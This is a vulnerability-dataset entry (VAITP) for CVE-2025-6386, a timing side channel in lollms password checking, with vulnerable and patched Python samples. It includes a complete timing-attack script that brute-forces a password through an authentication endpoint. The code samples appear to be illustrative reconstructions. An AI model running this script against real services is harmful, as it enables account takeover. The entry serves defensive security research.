VAITP Dataset

← Back to the dataset

CVE-2025-6386

Timing attack in password comparison allows user and password enumeration.

  • CVSS 7.5
  • CWE-203
  • Cryptographic
  • Remote

The parisneo/lollms repository is affected by a timing attack vulnerability in the `authenticate_user` function within the `lollms_authentication.py` file. This vulnerability allows attackers to enumerate valid usernames and guess passwords incrementally by analyzing response time differences. The affected version is the latest, and the issue is resolved in version 20.1. The vulnerability arises from the use of Python's default string equality operator for password comparison, which compares characters sequentially and exits on the first mismatch, leading to variable response times based on the number of matching initial characters.

CVSS base score
7.5
Published
2025-07-07
OWASP
A07 Identification and Authentication Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Timing Issues
Category
Cryptographic
Subcategory
Cryptographic Implementation Error
Accessibility scope
Remote
Impact
Unauthorized Access
Affected component
parisneo/lol
Fixed by upgrading
Yes

Solution

Upgrade to version 20.1 or later.

Vulnerable code sample

# In file: lollms_authentication.py

# In a real application, this user data would come from a database.
# Passwords should always be hashed, but are shown in plaintext here for clarity.
USERS_DATABASE = {
    "admin": "S3cr3tP@ssw0rd!_L0ngAndC0mpl3x"
}

def authenticate_user(username, password):
    """
    Authenticates a user based on username and password.
    
    This version is VULNERABLE to a timing attack.
    """
    if username in USERS_DATABASE:
        # VULNERABLE PART: Direct string comparison using '=='
        # The comparison short-circuits, meaning it stops and returns False
        # as soon as a non-matching character is found.
        # This takes a different amount of time depending on how many
        # initial characters of the provided password are correct.
        if password == USERS_DATABASE[username]:
            return True
    
    return False

Patched code sample

import hmac
import hashlib
import os

# In a real application, this user data would be in a secure database.
# The passwords are shown here as pre-computed SHA-256 hashes.
# 'admin' password is 'S3cr3tP@ssw0rd!'
# 'user1' password is 'my-sUp3r-l0ng-pa55word'
USERS_DB = {
    "admin": "e4d77227e99999742323a61f224e784531818128362d274b5212e6e340c54140",
    "user1": "d4e242981d59647225b651036814032d16335198889816503957297926131336"
}

def authenticate_user(username: str, supplied_password: str) -> bool:
    """
    Authenticates a user using a constant-time comparison to prevent timing attacks.

    This function fixes the vulnerability present in the original implementation
    by using hmac.compare_digest() instead of the '==' operator for comparing
    password hashes.

    Args:
        username: The username to authenticate.
        supplied_password: The password supplied by the user.

    Returns:
        True if the credentials are valid, False otherwise.
    """
    # Encode the supplied password to bytes for hashing.
    supplied_password_bytes = supplied_password.encode('utf-8')

    # Hash the supplied password using the same algorithm as the stored hashes.
    supplied_hash = hashlib.sha256(supplied_password_bytes).hexdigest()

    # Look up the stored hash for the given username.
    stored_hash = USERS_DB.get(username)

    # --- VULNERABILITY FIX ---
    # The original vulnerable code would have been:
    #
    # if not stored_hash:
    #     return False
    # return stored_hash == supplied_hash # <-- VULNERABLE TO TIMING ATTACKS
    #
    # The corrected code below uses a constant-time comparison.

    # If the username does not exist, 'stored_hash' will be None.
    # To prevent timing attacks that could reveal valid usernames, we must still
    # perform a hash comparison. We compare the supplied hash against a
    # randomly generated dummy hash. This ensures the execution time is
    # consistent for both valid and invalid usernames.
    if stored_hash is None:
        # Create a dummy hash of the same length as a real hash.
        dummy_hash = hashlib.sha256(os.urandom(32)).hexdigest()
        # Perform the comparison. This will always fail but takes the same time.
        hmac.compare_digest(dummy_hash, supplied_hash)
        return False

    # For a valid username, perform a constant-time comparison between the
    # stored hash and the hash of the password provided by the user.
    # hmac.compare_digest always compares the full length of both strings,
    # thus preventing attackers from guessing the password character by
    # character by measuring response time differences.
    return hmac.compare_digest(stored_hash, supplied_hash)

Payload

import requests
import time
import string
import operator

# --- Configuration ---
# The target URL for the lollms authentication endpoint
TARGET_URL = "http://127.0.0.1:9600/authenticate_user"

# A known or guessed valid username to target
USERNAME = "admin"

# The character set to test for the password
CHARSET = string.ascii_letters + string.digits + string.punctuation + " "

# Number of requests to average for each character to reduce network jitter
SAMPLES = 5
# --- End Configuration ---

def check_time(password_guess):
    """
    Sends an authentication request with a password guess and returns
    the average response time over a number of samples.
    """
    payload = {
        "username": USERNAME,
        "password": password_guess
    }
    timings = []
    try:
        for _ in range(SAMPLES):
            start_time = time.perf_counter()
            requests.post(TARGET_URL, json=payload, timeout=10)
            end_time = time.perf_counter()
            timings.append(end_time - start_time)
        return sum(timings) / len(timings)
    except requests.exceptions.RequestException as e:
        print(f"\n[!] Error connecting to target: {e}")
        return 0


def main():
    """
    Executes the timing attack to incrementally discover the password.
    """
    found_password = ""
    print(f"[+] Starting timing attack on user '{USERNAME}' at {TARGET_URL}")
    print(f"[+] Using character set: {CHARSET}\n")

    # Loop indefinitely until no new character is found
    while True:
        timings = {}
        for char in CHARSET:
            current_guess = found_password + char
            print(f"\r[*] Testing: {current_guess.ljust(30)}", end="")
            
            measured_time = check_time(current_guess)
            if measured_time == 0: # Handle connection error
                return
                
            timings[char] = measured_time

        if not timings:
            print("\n[-] Attack failed, no timings received.")
            break
        
        # The character with the longest response time is the correct one
        best_char = max(timings.items(), key=operator.itemgetter(1))[0]
        
        # A simple check: if the max time is not significantly different
        # from the average, we might have reached the end of the password.
        # This is a basic heuristic and may need tuning.
        avg_time = sum(timings.values()) / len(timings)
        if timings[best_char] < avg_time * 1.1: # Threshold of 10% above average
            print(f"\n[!] No significant time difference detected. Possible end of password.")
            break
            
        found_password += best_char
        print(f"\r[+] Found character: '{best_char}'. Current password: '{found_password}'")

    print(f"\n\n[+] Attack finished.")
    print(f"[+] Discovered Password: {found_password}")


if __name__ == "__main__":
    main()

Cite this entry

@misc{vaitp:cve20256386,
  title        = {{Timing attack in password comparison allows user and password enumeration.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-6386},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-6386/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::